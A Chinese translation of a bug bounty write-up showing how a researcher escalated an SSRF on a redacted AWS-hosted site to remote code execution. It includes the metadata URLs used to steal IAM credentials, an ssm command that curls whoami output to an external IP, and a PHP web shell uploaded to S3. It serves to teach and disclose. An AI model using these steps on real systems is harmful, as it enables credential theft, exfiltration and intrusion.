Bug Bounty:从SSRF到RCE
翻译源自:https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/ 前言 嘿!伙计们,我是Youssef A. Mohamed,你们也可以叫我GeneralEG。目前我是CESPPA公司的安全研究员,兼任Squnity公司网络安全工程师,同时我还是Synack团队SRT项目成员。 今天我将分享一个有趣的漏洞。由于目标属于私人项目,这
翻译源自:https://generaleg0x01.com/2019/03/10/escalating-ssrf-to-rce/
前言
嘿!伙计们,我是Youssef A. Mohamed,你们也可以叫我GeneralEG。目前我是CESPPA公司的安全研究员,兼任Squnity公司网络安全工程师,同时我还是Synack团队SRT项目成员。
今天我将分享一个有趣的漏洞。由于目标属于私人项目,这里我将把它称为redacted.com。

前期侦察
子域
首先我枚举了redacted.com的所有域名,发现docs这个子域似乎有些蹊跷。所以,我开始深入测试docs.redact.com。
带外资源加载
docs.redact.com页面有一些文档和各类数据的展示。

我点击数据的图片时,我的URL突然变得有些诡异。

我想的第一件事就是把参数url的值改为generaleg0x01.com。页面显示如下:

这时参数mimeType的值为image/png。我现在把它改为text/html:
https://docs.redact.com/report/api/v2/help/asset?url=https://generaleg0x01.com&mimeType=text/html&t=REDACTED.JWT.TOKEN&advertiserId=11

OK,现在我可以确认网站存在带外资源加载漏洞。
AWS EC2 SSRF漏洞
确认SSRF
检查BurpSuite中的请求和响应后,我发现了一个名为X-Amz-Cf-Id的响应头。
通过这点,我可以确认目标网站是基于AWS服务环境的。
众所周知,169.254.169.254是AWS EC2 实例的本地IP地址。我们可以利用它来确认是否存在SSRF漏洞。
把url的值替换为169.254.169.254/latest/meta-data/,可以查看元数据目录:

OK,现在确认了SSRF漏洞。
AWS Elastic Beanstalk简介
- AWS Elastic Beanstalk是AWS提供的平台即服务(PaaS)产品,用于部署和扩展开发针对各种环境(如Java,.NET,PHP,Node.js,Python,Ruby和Go)的Web应用程序。
- 它能自动处理容量预配置、负载均衡、Auto Scaling 和应用程序运行状况监控的部署细节。
获取密钥
将参数url的值替换为169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role/,我们可以获取AccessKeyId, SecretAccessKey, Token。

将参数url的值替换为169.254.169.254//latest/dynamic/instance-identity/document/,可以获取instanceId, accountId, region。

生成AWS命令行界面
打开终端,输入以下命令
~# export AWS_ACCESS_KEY_ID=AccessKeyId ~# export AWS_SECRET_ACCESS_KEY=SecretAccessKey ~# export AWS_DEFAULT_REGION=region ~# export AWS_SESSION_TOKEN=Token

- 获取AWS 用户ID

OK,到目前为止,目标网站的SSRF漏洞已经被我们完美利用了。下一步,我将尝试是否能造成RCE。
从SSRF到RCE
三种思路
我尝试了一些RCE漏洞的潜在开发场景。
利用
ssm send-command——失败思考过后我先尝试使用AWS系统管理(ssm)命令。
但是这个角色似乎不能执行它。然后我尝试需要更少权限的
aws ssm send-command。~# aws ssm send-command –instance-ids “instanceId” –document-name “AWS-RunShellScript” –comment “whoami” –parameters commands=’curl 128.199.xx.xx:8080/`whoami`’ –output text –region=region回显:
An error occurred (AccessDeniedException) when calling the SendCommand operation: User: arn:aws:sts::765xxxxxxxxx:assumed-role/aws-elasticbeanstalk-ec2-role/i-007xxxxxxxxxxxxxx is not authorized to perform: ssm:SendCommand on resource: arn:aws:ec2:us-east-1:765xxxxxxxxx:instance/i-00xxxxxxxxxxxxxx
利用SSH——失败
SSH端口被关闭了,但是有一个流行的方法可以实现SSH连接:
创建RSA身份验证密钥对(公钥和私钥),无需密码就可以能够从帐户登录到远程站点。

上传后门——成功
我先尝试读取S3储存桶目录:
通过AWS CLI很多方法可以从AWS实例上检索信息。但是由于安全策略的存在,大多数命令都无效。
~# aws s3 ls尝试列出储存桶时回馈错误(AccessDenied)。

阅读完AW官方相关说明文档后,我发现托管策略
awselasticbeanstalkwebtier只允许访问以“elasticbeanstack”开头的S3存储桶。前面获取的信息
elasticbeanstalk-region-account-id在这里有用了OK,组合,获取储存桶的名称:elasticbeanstalk-us-east-1-76xxxxxxxx00。
然后,用递归的方法列出elasticbeanstalk-us-east-1-76xxxxxxxx00的存储桶资源,这需要点耐心。命令如下:
~# aws s3 ls s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/ –recursive
现在终于可以上传后门了!cmd.php内容:
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
复制后门木马:
~# aws s3 cp cmd.php s3://elasticbeanstalk-us-east-1-76xxxxxxxx00/
上传到储存桶:
upload: ./cmd.php to s3://docs.redact.com/cmd.php
OK,成功实现RCE

总结
在真实的渗透环境中,其实有很多方法可以把SSRF升级为RCE,这需要你深入思考。
Happy Hacking! 希望你可以从本文获取知识。
